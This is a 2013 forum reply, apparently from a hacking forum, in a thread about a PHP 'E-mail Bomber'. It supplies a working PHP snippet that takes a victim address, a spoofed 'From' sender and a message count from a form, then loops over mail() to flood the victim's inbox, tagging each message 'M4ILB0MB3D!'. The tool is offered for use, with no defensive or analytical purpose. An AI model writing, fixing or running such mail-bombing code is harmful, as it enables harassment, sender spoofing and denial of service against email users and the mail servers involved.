RE: PHP E-mail Bomber 01-29-2013, 08:50 PM
#7
Just a minor mistake..In the code below the form, add POST submission check
PHP Code:
if(isset($_POST['submit']))
{
$body = $_POST['body'];
$body .= "\nM4ILB0MB3D!";
$victim = $_POST['victim'];
$sender = $_POST['sender'];
$subject = $_POST['subject'];
$a = $_POST['number'];
$i = 0;
while ($i<=$a) {
@mail("$victim", $subject, $body, "From: $sender");
$i++;
}
echo "Sent " . $i . " emails.<br>";
}



![[+]](https://sinister.li/images/modern/collapse_collapsed.png)